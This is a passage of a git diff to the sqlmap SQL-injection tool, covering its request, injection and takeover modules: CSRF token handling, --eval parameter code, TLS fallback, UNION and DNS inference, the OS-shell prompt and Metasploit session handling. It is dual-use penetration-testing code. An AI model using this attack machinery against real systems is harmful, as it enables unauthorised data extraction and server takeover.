conf.paramDict.get(PLACE.POST, {}))): + if post: + post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token) + elif get: + get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token) + else: + get = "%s=%s" % (conf.csrfToken, token) + break + + if not token: + errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken, conf.csrfUrl or conf.url) + if not conf.csrfUrl: + errMsg += ". You can try to rerun by providing " + errMsg += "a valid value for option '--csrf-url'" + raise SqlmapTokenException, errMsg + + if token: + for place in (PLACE.GET, PLACE.POST): + if place in conf.parameters: + if place == PLACE.GET and get: + get = _adjustParameter(get, conf.csrfToken, token) + elif place == PLACE.POST and post: + post = _adjustParameter(post, conf.csrfToken, token) + + for i in xrange(len(conf.httpHeaders)): + if conf.httpHeaders[i][0].lower() == conf.csrfToken.lower(): + conf.httpHeaders[i] = (conf.httpHeaders[i][0], token) + if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString - match = re.search("%s=(?P[^&;]+)" % randomParameter, paramString) + match = re.search(r"(\A|\b)%s=(?P[^&;]+)" % re.escape(randomParameter), paramString) if match: origValue = match.group("value") - retVal = re.sub("%s=[^&;]+" % randomParameter, "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) + retVal = re.sub(r"(\A|\b)%s=[^&;]+" % re.escape(randomParameter), "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) return retVal for randomParameter in conf.rParam: - for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE): + for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.URI, PLACE.CUSTOM_POST): if item in conf.parameters: if item == PLACE.GET and get: get = _randomizeParameter(get, randomParameter) - elif item == PLACE.POST and post: + elif item in (PLACE.POST, PLACE.CUSTOM_POST) and post: post = _randomizeParameter(post, randomParameter) elif item == PLACE.COOKIE and cookie: cookie = _randomizeParameter(cookie, randomParameter) + elif item == PLACE.URI and uri: + uri = _randomizeParameter(uri, randomParameter) if conf.evalCode: - delimiter = conf.pDel or DEFAULT_GET_POST_DELIMITER - variables = {} + delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER + variables = {"uri": uri} originals = {} + keywords = keyword.kwlist - for item in filter(None, (get, post)): + for item in filter(None, (get, post if not kb.postHint else None)): for part in item.split(delimiter): if '=' in part: name, value = part.split('=', 1) + name = re.sub(r"[^\w]", "", name.strip()) + if name in keywords: + name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX) value = urldecode(value, convall=True, plusspace=(item==post and kb.postSpaceToPlus)) - evaluateCode("%s=%s" % (name, repr(value)), variables) + variables[name] = value + + if cookie: + for part in cookie.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER): + if '=' in part: + name, value = part.split('=', 1) + name = re.sub(r"[^\w]", "", name.strip()) + if name in keywords: + name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX) + value = urldecode(value, convall=True) + variables[name] = value + + while True: + try: + compiler.parse(conf.evalCode.replace(';', '\n')) + except SyntaxError, ex: + original = replacement = ex.text.strip() + for _ in re.findall(r"[A-Za-z_]+", original)[::-1]: + if _ in keywords: + replacement = replacement.replace(_, "%s%s" % (_, EVALCODE_KEYWORD_SUFFIX)) + break + if original == replacement: + conf.evalCode = conf.evalCode.replace(EVALCODE_KEYWORD_SUFFIX, "") + break + else: + conf.evalCode = conf.evalCode.replace(ex.text.strip(), replacement) + else: + break originals.update(variables) evaluateCode(conf.evalCode, variables) + for variable in variables.keys(): + if variable.endswith(EVALCODE_KEYWORD_SUFFIX): + value = variables[variable] + del variables[variable] + variables[variable.replace(EVALCODE_KEYWORD_SUFFIX, "")] = value + + uri = variables["uri"] + for name, value in variables.items(): if name != "__builtins__" and originals.get(name, "") != value: if isinstance(value, (basestring, int)): + found = False value = unicode(value) - if '%s=' % name in (get or ""): - get = re.sub("((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, get) - elif '%s=' % name in (post or ""): - post = re.sub("((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, post) - elif post is not None: - post += "%s%s=%s" % (delimiter, name, value) - else: - get += "%s%s=%s" % (delimiter, name, value) + + regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter)) + if re.search(regex, (get or "")): + found = True + get = re.sub(regex, "\g<1>%s\g<3>" % value, get) + + if re.search(regex, (post or "")): + found = True + post = re.sub(regex, "\g<1>%s\g<3>" % value, post) + + regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) + if re.search(regex, (cookie or "")): + found = True + cookie = re.sub(regex, "\g<1>%s\g<3>" % value, cookie) + + if not found: + if post is not None: + post += "%s%s=%s" % (delimiter, name, value) + elif get is not None: + get += "%s%s=%s" % (delimiter, name, value) + elif cookie is not None: + cookie += "%s%s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, value) if not conf.skipUrlEncode: get = urlencode(get, limit=True) @@ -772,7 +974,7 @@ class Connect(object): if post is not None: if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE): post = getattr(post, UNENCODED_ORIGINAL_VALUE) - elif urlEncodePost: + elif kb.postUrlEncode: post = urlencode(post, spaceplus=kb.postSpaceToPlus) if timeBasedCompare: @@ -784,16 +986,20 @@ class Connect(object): warnMsg += "time-based injections because of its high latency time" singleTimeWarnMessage(warnMsg) - warnMsg = "time-based comparison needs larger statistical " - warnMsg += "model. Making a few dummy requests, please wait.." - singleTimeWarnMessage(warnMsg) + warnMsg = "[%s] [WARNING] time-based comparison requires " % time.strftime("%X") + warnMsg += "larger statistical model, please wait" + dataToStdout(warnMsg) while len(kb.responseTimes) < MIN_TIME_RESPONSES: Connect.queryPage(content=True) + dataToStdout('.') + + dataToStdout("\n") elif not kb.testMode: - warnMsg = "it is very important not to stress the network adapter's " - warnMsg += "bandwidth during usage of time-based payloads" + warnMsg = "it is very important not to stress the network adapter " + warnMsg += "during usage of time-based payloads to prevent potential " + warnMsg += "errors " singleTimeWarnMessage(warnMsg) if not kb.laggingChecked: @@ -804,17 +1010,19 @@ class Connect(object): if deviation > WARN_TIME_STDEV: kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE - warnMsg = "there is considerable lagging " + warnMsg = "considerable lagging has been detected " warnMsg += "in connection response(s). Please use as high " warnMsg += "value for option '--time-sec' as possible (e.g. " warnMsg += "10 or more)" logger.critical(warnMsg) - - if conf.safUrl and conf.saFreq > 0: + if conf.safeFreq > 0: kb.queryCounter += 1 - if kb.queryCounter % conf.saFreq == 0: - Connect.getPage(url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) + if kb.queryCounter % conf.safeFreq == 0: + if conf.safeUrl: + Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) + elif kb.safeReq: + Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method, auxHeaders=kb.safeReq.headers) start = time.time() @@ -827,12 +1035,9 @@ class Connect(object): if kb.nullConnection == NULLCONNECTION.HEAD: method = HTTPMETHOD.HEAD elif kb.nullConnection == NULLCONNECTION.RANGE: - if not auxHeaders: - auxHeaders = {} - auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1" - _, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ)) + _, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ)) if headers: if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and HTTP_HEADER.CONTENT_LENGTH in headers: @@ -844,7 +1049,7 @@ class Connect(object): if not pageLength: try: - page, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) + page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) except MemoryError: page, headers, code = None, None, None warnMsg = "site returned insanely large response" @@ -881,3 +1086,6 @@ class Connect(object): return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength) else: return comparison(page, headers, code, getRatioValue, pageLength) + +def setHTTPProxy(): # Cross-linked function + raise NotImplementedError diff --git a/lib/request/direct.py b/lib/request/direct.py index 6014fd12d..937d6c5a4 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -33,7 +33,7 @@ def direct(query, content=True): query = agent.adjustLateValues(query) threadData = getCurrentThreadData() - if Backend.isDbms(DBMS.ORACLE) and query.startswith("SELECT ") and " FROM " not in query: + if Backend.isDbms(DBMS.ORACLE) and query.upper().startswith("SELECT ") and " FROM " not in query.upper(): query = "%s FROM DUAL" % query for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): @@ -50,7 +50,7 @@ def direct(query, content=True): output = hashDBRetrieve(query, True, True) start = time.time() - if not select and "EXEC " not in query: + if not select and "EXEC " not in query.upper(): _ = timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) elif not (output and "sqlmapoutput" not in query and "sqlmapfile" not in query): output = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) diff --git a/lib/request/dns.py b/lib/request/dns.py index 85d111c06..8f10a605a 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -65,6 +65,7 @@ class DNSServer(object): self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self._socket.bind(("", 53)) self._running = False + self._initialized = False def pop(self, prefix=None, suffix=None): """ @@ -91,6 +92,7 @@ class DNSServer(object): def _(): try: self._running = True + self._initialized = True while True: data, addr = self._socket.recvfrom(1024) @@ -116,6 +118,9 @@ if __name__ == "__main__": server = DNSServer() server.run() + while not server._initialized: + time.sleep(0.1) + while server._running: while True: _ = server.pop() diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 0f32385b6..bbd291e15 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -1,14 +1,16 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import httplib import socket +import sys import urllib2 +from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapConnectionException @@ -19,7 +21,7 @@ try: except ImportError: pass -_protocols = [ssl.PROTOCOL_SSLv23, ssl.PROTOCOL_SSLv3, ssl.PROTOCOL_TLSv1] +_protocols = filter(None, (getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))) class HTTPSConnection(httplib.HTTPSConnection): """ @@ -41,20 +43,42 @@ class HTTPSConnection(httplib.HTTPSConnection): success = False - for protocol in _protocols: - try: - sock = create_sock() - _ = ssl.wrap_socket(sock, self.key_file, self.cert_file, ssl_version=protocol) - if _: - success = True - self.sock = _ - _protocols.remove(protocol) - _protocols.insert(0, protocol) - break - else: - sock.close() - except ssl.SSLError, errMsg: - logger.debug("SSL connection error occured ('%s')" % errMsg) + if not kb.tlsSNI: + for protocol in _protocols: + try: + sock = create_sock() + _ = ssl.wrap_socket(sock, self.key_file, self.cert_file, ssl_version=protocol) + if _: + success = True + self.sock = _ + _protocols.remove(protocol) + _protocols.insert(0, protocol) + break + else: + sock.close() + except (ssl.SSLError, socket.error, httplib.BadStatusLine), errMsg: + self._tunnel_host = None + logger.debug("SSL connection error occurred ('%s')" % errMsg) + + # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext + # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni + if not success and hasattr(ssl, "SSLContext"): + for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols): + try: + sock = create_sock() + context = ssl.SSLContext(protocol) + _ = context.wrap_socket(sock, do_handshake_on_connect=False, server_hostname=self.host) + if _: + kb.tlsSNI = success = True + self.sock = _ + _protocols.remove(protocol) + _protocols.insert(0, protocol) + break + else: + sock.close() + except (ssl.SSLError, socket.error, httplib.BadStatusLine), errMsg: + self._tunnel_host = None + logger.debug("SSL connection error occurred ('%s')" % errMsg) if not success: raise SqlmapConnectionException("can't establish SSL connection") diff --git a/lib/request/inject.py b/lib/request/inject.py index b3cfcfdd3..0395c0a56 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -38,6 +38,7 @@ from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD +from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import MAX_TECHNIQUES_PER_VALUE @@ -55,7 +56,7 @@ from lib.techniques.union.use import unionUse def _goDns(payload, expression): value = None - if conf.dnsName and kb.dnsTest is not False: + if conf.dnsName and kb.dnsTest is not False and not kb.testMode and Backend.getDbms() is not None: if kb.dnsTest is None: dnsTest(payload) @@ -71,7 +72,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar value = _goDns(payload, expression) - if value: + if value is not None: return value timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) @@ -83,7 +84,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar expression = "SELECT %s FROM (%s)" % (field, expression) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - expression += " AS %s" % randomStr(lowercase=True) + expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression)) if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields.split(','): nulledCastedField = agent.nullAndCastField(field) @@ -198,7 +199,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char if isNumPosStrValue(count): count = int(count) - if batch: + if batch or count == 1: stopLimit = count else: message = "the SQL query provided can return " @@ -286,11 +287,21 @@ def _goBooleanProxy(expression): initTechnique(kb.technique) + if conf.dnsName: + query = agent.prefixQuery(kb.injection.data[kb.technique].vector) + query = agent.suffixQuery(query) + payload = agent.payload(newValue=query) + output = _goDns(payload, expression) + + if output is not None: + return output + vector = kb.injection.data[kb.technique].vector vector = vector.replace("[INFERENCE]", expression) query = agent.prefixQuery(vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) + timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) output = hashDBRetrieve(expression, checkConf=True) @@ -333,6 +344,9 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser getCurrentThreadData().disableStdOut = suppressOutput try: + pushValue(conf.db) + pushValue(conf.tbl) + if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression @@ -357,10 +371,34 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION - value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) + kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8] + fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion + + try: + value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) + except SqlmapConnectionException: + if not fallback: + raise + count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE + if not found and fallback: + warnMsg = "something went wrong with full UNION " + warnMsg += "technique (could be because of " + warnMsg += "limitation on retrieved number of entries)" + if " FROM " in query.upper(): + warnMsg += ". Falling back to partial UNION technique" + singleTimeWarnMessage(warnMsg) + + pushValue(kb.forcePartialUnion) + kb.forcePartialUnion = True + value = _goUnion(query, unpack, dump) + found = (value is not None) or (value is None and expectingNone) + kb.forcePartialUnion = popValue() + else: + singleTimeWarnMessage(warnMsg) + if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) @@ -404,14 +442,18 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser finally: kb.resumeValues = True + conf.tbl = popValue() + conf.db = popValue() + if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False - if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler: + if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: warnMsg = "in case of continuous data retrieval problems you are advised to try " - warnMsg += "a switch '--no-cast' or switch '--hex'" + warnMsg += "a switch '--no-cast' " + warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else "" singleTimeWarnMessage(warnMsg) return extractExpectedValue(value, expected) @@ -434,7 +476,7 @@ def goStacked(expression, silent=False): query = agent.prefixQuery(";%s" % expression) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) - Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare=True) + Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare="SELECT" in (payload or "").upper()) def checkBooleanExpression(expression, expectingNone=True): return getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=expectingNone) diff --git a/lib/request/methodrequest.py b/lib/request/methodrequest.py index 14c41ed9b..5fd203561 100644 --- a/lib/request/methodrequest.py +++ b/lib/request/methodrequest.py @@ -1,17 +1,16 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import urllib2 - class MethodRequest(urllib2.Request): - ''' + """ Used to create HEAD/PUT/DELETE/... requests with urllib2 - ''' + """ def set_method(self, method): self.method = method.upper() diff --git a/lib/request/certhandler.py b/lib/request/pkihandler.py similarity index 63% rename from lib/request/certhandler.py rename to lib/request/pkihandler.py index 57dae6b23..ea3aa7aad 100644 --- a/lib/request/certhandler.py +++ b/lib/request/pkihandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -10,14 +10,13 @@ import urllib2 from lib.core.data import conf -class HTTPSCertAuthHandler(urllib2.HTTPSHandler): - def __init__(self, key_file, cert_file): +class HTTPSPKIAuthHandler(urllib2.HTTPSHandler): + def __init__(self, key_file): urllib2.HTTPSHandler.__init__(self) self.key_file = key_file - self.cert_file = cert_file def https_open(self, req): return self.do_open(self.getConnection, req) def getConnection(self, host, timeout=None): - return httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file, timeout=conf.timeout) + return httplib.HTTPSConnection(host, key_file=self.key_file, timeout=conf.timeout) diff --git a/lib/request/rangehandler.py b/lib/request/rangehandler.py index 683de39d6..8288be55e 100644 --- a/lib/request/rangehandler.py +++ b/lib/request/rangehandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 3e2376cbf..73fa73f19 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -1,13 +1,17 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ +import types import urllib2 import urlparse +from StringIO import StringIO + +from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.common import getHostHeader @@ -57,8 +61,8 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler): kb.resendPostOnRedirect = choice.upper() == 'Y' - if kb.resendPostOnRedirect: - self.redirect_request = self._redirect_request + if kb.resendPostOnRedirect: + self.redirect_request = self._redirect_request def _redirect_request(self, req, fp, code, msg, headers, newurl): newurl = newurl.replace(' ', '%20') @@ -103,17 +107,47 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler): logger.log(CUSTOM_LOGGING.TRAFFIC_IN, redirectMsg) if redurl: - if not urlparse.urlsplit(redurl).netloc: - redurl = urlparse.urljoin(req.get_full_url(), redurl) + try: + if not urlparse.urlsplit(redurl).netloc: + redurl = urlparse.urljoin(req.get_full_url(), redurl) - self._infinite_loop_check(req) - self._ask_redirect_choice(code, redurl, req.get_method()) + self._infinite_loop_check(req) + self._ask_redirect_choice(code, redurl, req.get_method()) + except ValueError: + redurl = None + result = fp if redurl and kb.redirectChoice == REDIRECTION.YES: req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl) if headers and HTTP_HEADER.SET_COOKIE in headers: - req.headers[HTTP_HEADER.COOKIE] = headers[HTTP_HEADER.SET_COOKIE].split(DEFAULT_COOKIE_DELIMITER)[0] - result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) + req.headers[HTTP_HEADER.COOKIE] = headers[HTTP_HEADER.SET_COOKIE].split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)[0] + try: + result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) + except urllib2.HTTPError, e: + result = e + + # Dirty hack for http://bugs.python.org/issue15701 + try: + result.info() + except AttributeError: + def _(self): + return getattr(self, "hdrs") or {} + result.info = types.MethodType(_, result) + + if not hasattr(result, "read"): + def _(self, length=None): + return e.msg + result.read = types.MethodType(_, result) + + if not getattr(result, "url", None): + result.url = redurl + + if not getattr(result, "code", None): + result.code = 999 + except: + redurl = None + result = fp + fp.read = StringIO("").read else: result = fp @@ -128,5 +162,5 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler): def _infinite_loop_check(self, req): if hasattr(req, 'redirect_dict') and (req.redirect_dict.get(req.get_full_url(), 0) >= MAX_SINGLE_URL_REDIRECTIONS or len(req.redirect_dict) >= MAX_TOTAL_REDIRECTIONS): errMsg = "infinite redirect loop detected (%s). " % ", ".join(item for item in req.redirect_dict.keys()) - errMsg += "please check all provided parameters and/or provide missing ones." + errMsg += "Please check all provided parameters and/or provide missing ones" raise SqlmapConnectionException(errMsg) diff --git a/lib/request/templates.py b/lib/request/templates.py index f073c1dda..b95173ff9 100644 --- a/lib/request/templates.py +++ b/lib/request/templates.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -13,7 +13,7 @@ def getPageTemplate(payload, place): if payload and place: if (payload, place) not in kb.pageTemplates: - page, _ = Request.queryPage(payload, place, content=True) + page, _ = Request.queryPage(payload, place, content=True, raise404=False) kb.pageTemplates[(payload, place)] = (page, kb.lastParserStatus is None) retVal = kb.pageTemplates[(payload, place)] diff --git a/lib/takeover/__init__.py b/lib/takeover/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/lib/takeover/__init__.py +++ b/lib/takeover/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 594623ffd..20ff60fc5 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -1,19 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ +import sys + from extra.safe2bin.safe2bin import safechardecode from lib.core.common import dataToStdout from lib.core.common import Backend from lib.core.common import getSQLSnippet +from lib.core.common import getUnicode from lib.core.common import isStackingAvailable from lib.core.common import readInput from lib.core.data import conf from lib.core.data import logger +from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import DBMS +from lib.core.enums import OS from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.shell import autoCompletion @@ -116,13 +121,14 @@ class Abstraction(Web, UDF, Xp_cmdshell): infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) - autoCompletion(osShell=True) + autoCompletion(AUTOCOMPLETE_TYPE.OS, OS.WINDOWS if Backend.isOs(OS.WINDOWS) else OS.LINUX) while True: command = None try: command = raw_input("os-shell> ") + command = getUnicode(command, encoding=sys.stdin.encoding) except KeyboardInterrupt: print errMsg = "user aborted" diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py index 36f449ea2..35cfe9881 100644 --- a/lib/takeover/icmpsh.py +++ b/lib/takeover/icmpsh.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 3dda0da84..4f7b43887 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -65,7 +65,16 @@ class Metasploit: self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload")) if IS_WIN: - _ = normalizePath(os.path.join(conf.msfPath, "..", "scripts", "setenv.bat")) + _ = conf.msfPath + while _: + if os.path.exists(os.path.join(_, "scripts")): + _ = os.path.join(_, "scripts", "setenv.bat") + break + else: + old = _ + _ = normalizePath(os.path.join(_, "..")) + if _ == old: + break self._msfCli = "%s & ruby %s" % (_, self._msfCli) self._msfEncode = "ruby %s" % self._msfEncode self._msfPayload = "%s & ruby %s" % (_, self._msfPayload) @@ -510,7 +519,7 @@ class Metasploit: timeout = time.time() - start_time > METASPLOIT_SESSION_TIMEOUT if not initialized: - match = re.search("session ([\d]+) opened", out) + match = re.search("Meterpreter session ([\d]+) opened", out) if match: self._loadMetExtensions(proc, match.group(1)) @@ -520,7 +529,6 @@ class Metasploit: time.sleep(2) initialized = True - elif timeout: proc.kill() errMsg = "timeout occurred while attempting " diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index beb670f15..fbeff3490 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -10,6 +10,7 @@ import os from lib.core.common import randomStr from lib.core.data import conf from lib.core.data import logger +from lib.core.enums import REGISTRY_OPERATION class Registry: """ @@ -49,11 +50,11 @@ class Registry: def _createLocalBatchFile(self): self._batPathFp = open(self._batPathLocal, "w") - if self._operation == "read": + if self._operation == REGISTRY_OPERATION.READ: lines = self._batRead - elif self._operation == "add": + elif self._operation == REGISTRY_OPERATION.ADD: lines = self._batAdd - elif self._operation == "delete": + elif self._operation == REGISTRY_OPERATION.DELETE: lines = self._batDel for line in lines: @@ -70,7 +71,7 @@ class Registry: os.unlink(self._batPathLocal) def readRegKey(self, regKey, regValue, parse=False): - self._operation = "read" + self._operation = REGISTRY_OPERATION.READ 